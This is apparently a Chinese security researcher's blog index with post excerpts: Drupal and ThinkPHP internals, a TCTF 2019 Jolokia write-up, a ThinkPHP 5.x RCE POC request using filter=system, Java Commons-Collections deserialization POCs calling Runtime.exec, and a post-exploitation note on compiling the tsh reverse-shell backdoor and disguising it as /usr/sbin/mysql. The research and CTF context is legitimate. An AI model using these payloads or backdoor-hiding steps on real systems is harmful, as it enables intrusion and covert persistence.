身世酒杯中,万事皆空。

Intro

转载自编程随想Blog,本文的原文地址在这里。过滤了一些敏感的内容,尽量不破坏原文完整性。

正文

引子

  本月初,人民币对美元的汇率【破7】。很多读者在博客评论区问及此事,俺正好借此机会写一篇相关的扫盲教程。
  由于这个话题有点大,俺计划用两篇博文写完,除了今天这篇,再找时间另写一篇谈“国际金融”相关的话题。

本文的【目标读者】

  如果你自认为对“宏观经济学”(尤其是其中的“货币经济学”)已经有足够的认识,那么,本文你就不用看了(以免浪费时间)。

  如果你对这个领域还不熟悉,并且希望能对该领域有更【系统性】的了解,俺建议你直接去看《货币金融学》这本书。这是非常经典的教材,被欧美很多高校采用,其作者是“弗雷德里克·米什金”,俺的网盘有电子版。本文聊的内容,此书中基本都有;而且书中的内容肯定比这篇博文更加详细、更加全面。
  (注:本文后续章节凡是提到《货币金融学》,都是指此书的中译本第9版)

  综上所述,本文的【目标读者】是 —— 既对该领域不太懂,同时又不愿意花时间看书的那些人。
  另外,考虑到目标读者多半是该领域的外行,本文中的很多术语都标注了【维基百科链接】,便于你作进一步的阅读。

“货币经济学”是啥?

Read More

0x01 Abstract

比较详细的Drupal启动以及HTTP处理、路由分发分析。避免调漏洞的时候一脸懵逼。
纸上得来终觉浅,绝知此事要躬行。

0x02 Background

环境准备

源码从这里下载
PHP版本是7.1.2

背景知识

Drupal是建立在Symfony框架之上的,详细结构在这里。Drupal的路由系统是建立在Symfony内核之上的,下图是路由和控制器的简单示意图:

还有一个详细的请求处理和渲染的流程图,图片太大,不挂了,大图在这里

0x03 一切还从index.php开始

打开index.php,只有简洁的几行代码,一行一行看。
-w752

Read More

Abstract

此文较为详细的动态调试并分析了Thinkphp5.1的路由分发以及执行调度流程,通俗点说就是Thinkphp5.1是如何处理请求的。漏洞分析部分网上资料较多,故较为简略。网上Thinkphp5.1的源码分析较少且不完整,希望能给研究框架/漏洞的朋友提供一点小小的帮助。

Thinkphp5.1 启动流程浅析

Thinkphp5.1对底层架构做了进一步的改进,减少依赖,主要就是新增了容器(Container)、门面(Facade)、中间件(Middleware)三大块功能。

容器(Container)的功能,一句话概括就是管理对象实例,缓存已创建的实例。中间件(Middleware)如同字面意思一样,就是中间件。门面(Facade)的功能暂时不关注。

Thinkphp5.1对比Thinkphp5.0,个人感觉比较明显的差别有两点,一是使用Container来进行实例管理,调用都是动态的,非常灵活。二是在Think\App中取消了exec()方法,在Middleware中进行相关的逻辑。 这里分析的版本是Thinkphp 5.1.10,最新版本是5.1.35,基本架构一样,有一些细节大同小异。

建议阅读这篇文章 thinkphp5.1新特性 作为基础知识。

Dynamic Debugging

Container调用过程

public/index.php
-w561
5.0.x包含start.php然后静态调用App::run()方法,这里动态调用App::run方法。

Read More
post @ 2019-03-25

TCTF 2019 ghost pepper wp

刚开始一看是jetty和karaf,一直在去调jetty,想用jetty那个泄露绝对路径的漏洞,第一天晚上一直在调,后来发现看错版本号了,这个版本里没有那个漏洞。

第二天就在分析karaf,没有找到输入点,所以网上的漏洞基本最后都挂掉了。

在第二天下午的时候,刷/system/console得到302,遂进入控制台,在gogo中得到flag,但是当时一脸迷茫,flag如下flag{DOYOULOVEJOLOKIA?ILOVEITVERYMUCH},于是搜了一把JOLOKIA,发现是一个jmx的东西https://jolokia.org

出题人以为我们的脑洞是这样的

-w1281

简单的一搜,还真的有漏洞
https://www.freebuf.com/vuls/166695.html
https://blog.gdssecurity.com/labs/2018/4/18/jolokia-vulnerabilities-rce-xss.html

当时光记得看jndi了,于是常规起ldap服务器,扔poc,打了几次一直报错,说我json请求无效。
-w1608

后来发现需要去掉content-type头,结果去掉content-Type头后依然报错。刚开始以为是我ldap服务有毛病,于是开新服务器,监听80和1389,发现确实没有数据包出来,遂看了眼报错。
-w1608

1.5.0后默认不开代理,报错让看文档的proxy。
https://jolokia.org/reference/html/proxy.html

Read More

WARNING

在写完这篇文章五个月后的某一天突然看起这篇文章,发现逻辑混乱,狗屁不通,我自己都看不明白。如果你要参考此篇文章,建议你手边放一份代码,边调试边看,大概你通过调试能够使自己这个漏洞有所了解,因为此文可读性极差。强烈建议你通读全文后再决定要不要通过这篇文章来学习此漏洞,以免误入歧途。

Thinkphp 5.0.x/5.1.x 变量覆盖 RCE 漏洞分析

首先讲一下遇到的一个坑点,网上5.0.0 - 5.0.23的POC都是这样的

1
2
3
http://127.0.0.1/thinkphp/public/index.php?s=captcha
POST:
_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=id

s=captcha需要vendor中存在topthink/think-captcha,这个只有在extend版本中存在,core版本是不存在的,如果遇到报错没回显,可以考虑这种情况。(坑了一下午

补丁

在think\Request中添加了校验,只允许$method为常规的五种方法,默认是POST。

5.0.x 漏洞分析

Read More

0x01 无用之用 是为大用

人皆知有用之用,而莫知无用之用也。
–《庄子·人世间》

前两篇详细的学习了一些Java的基础知识,详细分析了Common-Collections的一个攻击链(TODO: 有机会把Common-Collections所有的攻击链分析一遍),看到这里不禁就要思考了,这个东西在实战中怎么用?

由于Common-Collections是一个jre中的包,所以影响的范围非常广,今儿先看一下如何在JBoss中利用这个漏洞。

0x02 JBoss是什么?

简单的说,JBoss和WebLogic一样,是Web应用服务器。由于学安全一般都是从PHP入门,所以一开始就有两个错误的认识。一个是Apache/Nginx是服务器软件,另一个是URL跟文件路径一定是一个一一对应的关系,比如访问http://www.xxx.com/index.php,那么在根目录下一定有一个index.php文件,而Java不一样了,Java通过servlet来提供Web服务(这样理解比较浅薄),所以刚开始做审计的时候,一脸懵逼,找不到URL对应的代码逻辑在哪里!后来有一些简单的写法,比如RequestMap,全程搜索URL定位RequestMap(蠢得一批)......哈哈,说远了~

说回第一个,Apache/Nginx是服务器软件没有错,但是这两个东西只能够提供静态页面的访问,比如HTML。动态页面需要另外一个软件提供相应的支持,比如在PHP中是fast-cgi(fast-cgi将请求再发给php-cgi)。而在Java中,最熟悉的就是Tomcat,支持Servlet,jsp。JBoss是一个Web应用服务器,能够提供静态页面和动态页面的服务(等于Apache+Tomcat),使用Java编写。这点跟PHP又不太一样,PHP是用C编写的。这种服务器软件介于代码和操作系统之间,所以就是所谓的中间件。

可以看一下这两篇文件

0x03 受影响的版本

Read More

0x01 一支穿云箭,千军万马来相见

天地合我,我合天地,神人赴我,我赴神人,精氣合全,神氣合群,杳杳冥冥,天地濟主,聞呼即至,聞召即臨,焚香召請,功曹使者,遞奏神員,聞今召請,速赴壇前。仰頭傳香,拜請九天玄女,歷代流旅尊師,合諸仙眾,下赴壇前,有事相請,速去速來,明彰報應。
– 诸天神咒

此篇文章由浅入深,不能算是教程了,只能算是个人学习的一个log,但是还是希望把这篇东西分享出来。

0x02 一切先从POC开始

首先配置一下环境,特别简单,只需要给项目添加Maven就行了。
-w598

在这里面选择Maven就行了。我这里用的3.2.1版本的commons-collections,pom.xml如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>Apache_commoms</groupId>
<artifactId>Apache_Commons_Collections1</artifactId>
<version>1.0-SNAPSHOT</version>

<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
</project>

先来看一个简单的POC.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class commom_collection {

public static void main(String[] argv) throws Exception{
Transformer[] transformers_exec = new Transformer[]{
// 0x01
new ConstantTransformer(Runtime.class),
// 0x02
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Applications/Calculator.app"})
};
//0x03
Transformer chain = new ChainedTransformer(transformers_exec);
chain.transform(chain);
}
}

这里有看起来非常眼熟的几个关键字,getMethod,invoke,exec。好像是在使用反射做一些事情,一点一点跟进去看看。

Read More

从一篇文章再探Java反序列化(Binary) - 从0开始学习Java反序列化 (2)

0x00 Intro

上一次走马观花的复现了CVE-2017-3506 & CVE-2017-10271,也算是摸到了Java反序列化的大门,这次恰好有看到了一篇Java反序列的文章 - Java Deserialization — From Discovery to Reverse Shell on Limited Environments。并不能说是一篇好文章,基本可以说是题文不符了,但是其中还是涵盖了一些可以深入学习的方向。最近有深入学习Java的打算,正好就借此为题。

0x01 从文章中寻找学习的方向

在文章中我看到了以下三个点:

既然是从WebGoat8开始,那就下载下来看看~ (github),直接java -jar webgoat-server-8.0.0.VERSION.jar --server.port=8080就可以跑起来。对照文章所讲的反序列化的练习,可以找到这个路径。
/WebGoat-8.0.0.M21/webgoat-lessons/insecure-deserialization/src/main/java/org/owasp/webgoat/plugin/InsecureDeserializationTask.java
代码很简单,接收数据解base64,然后直接进行readObject。

既然源码这么简单,直接readObject()。回想起来以前看过反序列化最简单的Demo,好像跟这个差不多。那我们为什么不尝试构造一下poc呢,而不是用ysoserial自动化构造。
get!第一个目标是不用文章的方法尝试构造poc。

0x02 尝试构造POC

于是本人天真的构造了如下POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import java.io.*;

public class Exploit {
public static void main(String[] argv) throws Exception{
poc e = new poc();

FileOutputStream fos=new FileOutputStream("ser");
ObjectOutputStream objOut = new ObjectOutputStream(fos);
objOut.writeObject(e);
objOut.close();

}
}

class poc implements Serializable{

//重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
//执行默认的readObject()方法
in.defaultReadObject();
//执行打开计算器程序命令
Runtime.getRuntime().exec("open /Applications/Calculator.app/");
}
}
Read More
post @ 2018-11-05

接孟氏之芳邻

起因

岁月神偷真的是岁月神偷,我在去年的这个时候,不可一世+受环境影响,开始找实习,大概是在十二月的时候收到了滴滴和长亭的Offer,果断选择了Chaitin。一月份到现在,一数居然已经过了将近十个月,马上又要到了2019了,不能不对时间的快速飞逝感到恐惧。同时也从一个小小菜鸡慢慢的转变成了一个小菜鸡。

2018年暑期在北京的实习很有正式工作的感觉,从中得到了不少的启发。从北京回来后,愈发的感觉到自己的知识的浅薄,当然,技术只是一方面,这次感觉到的是自己在各个方面知识的浅薄。随起闭关修炼之心,一是炼技,二是修心。

技 术

技术技术,技是技,术是术。技是内功,术是套路。在工作中,术得到了极大的提升,接触了许多原先并没有了解过的trick,见识了大佬们挖漏洞的骚操作。而技的提升没有那么显著。当技和术不平衡的时候,矛盾就产生了,疑惑也产生了。很多时候是知其然而不知其所以然,故需要时间去沉淀,去思考,去深究一些相关的技术细节。我又不是计算机相关学科出身,虽然早期有所接触,但是没有进行系统的科班学习,自我感觉还是对一些深刻的思想缺乏把控。现在是我第二次遇到这样的瓶颈期,希望能有所突破。

接孟氏之芳邻

昨日与leader促膝长谈,leader没有任何保留的给我提出一些十分中肯的建议,以及他内心的想法,没有上下级之间的客套与生分,让我十分感激与感动。Chaitin的技术氛围是真的好,同事们感觉是在一起玩,没有太多的工作的感觉。回忆起在北京的时候,每周五只要一有时间就跟几个同事小酌一二,现在回想起来,在那个局中没有同事之间的拘束,大家在一起放开了喝酒,那段时光是非常快乐的,所以我给那个酒局起了个名字,叫“长亭酒局”。平常跟大家一起做项目也0障碍沟通,sales有压力给我们的话,也可以及时的向上反馈。并且我觉得非常可贵的一点是Chaitin非常注重个人的发展与团队的输出。鼓励大家去研究新的技术,而不是一直扑在业务上。这一点我觉得非常的nice,并且注重分享,鼓励不同技能栈之间的人相互学习。

计划

掐指一算,自己的大学生涯也快接近了尾声,可能这是近十年中最后拥有一段比较长的时间能够系统的去学习一些东西,所以千万不能够浪费,所以需要一个计划来督促自己的学习。近期的学习目标是Java反序列化,希望能够比较深入的理解Java反序列化的漏洞,通过调漏洞的方式来进行学习,学习周期大概是在两周,同时每天晚上抽出两个小时的时间去学习计算机系统(哈工大的课程),每天填写日历的log。在Java反序列化(Weblogic,Fastjons等)的学习结束后,计划系统学习Spring的漏洞,平常Spring见得太多了,每次见都一脸懵逼,每次都一脸懵逼,摸不清套路,预计时间也在两周。剩下的日子打算找一个自己喜欢的方向,多花时间在上面进行研究,目前还没有找到一个合适的的方向,所以到时候再看啦。

Read More

后渗透的数个工具使用与坑点(tsh termite cobaltstrike 常见提权)

Intro

在某个项目中,getshell后发现了大规模内网,突然发现已经非常久没有见过正儿八经的内网了(我知道是我菜)…….好多企业现在把业务的内网放在云上,组成云内网(工作经验的感觉是这样的,不知道实际情况如何)。这次getshell发现内网后却发现:鸡儿,老子不会内网渗透了,遂重新学之。

tsh - https://github.com/orangetw/tsh

tsh是orange写的后门.
github上的readme与实际有点不一样。
需要编译,默认是反向shell的模式。
./complie.sh os[操作系统类型] bc_host[反向shell连接的ip] bc_port[通信端口] [密码] [延迟时间]

使用Mac 10.13.6 xcode自带的gcc编译报错。

注释掉tshd.c的23行,在osx下可以正常编译。

我在实际用的时候是直接在linux下编译的。经过实战,tsh还是非常稳的,使用tsh的文件传输下载一个6G多的大文件,可以正常下载,丢包不是非常厉害,可以解压出来大部分文件。

在跳板机上使用wget将tshd文件下载下来,赋予执行权限,更名为mysql,放到/usr/sbin/的目录下,后台运行!

在vps上只需要执行tsh -cb,等待反向shell的链接就行了。这次遇到了一个比较坑的问题,客户的服务器的sshd设置的超时时间特别短,大概在60s?60s不操作的话就自动logout了。很蛋疼,如果要改的话需要重启sshd,因为是线上环境,没敢改。(大佬说只需要导出一个变量就好了export TMOUT=0)

Read More
⬆︎TOP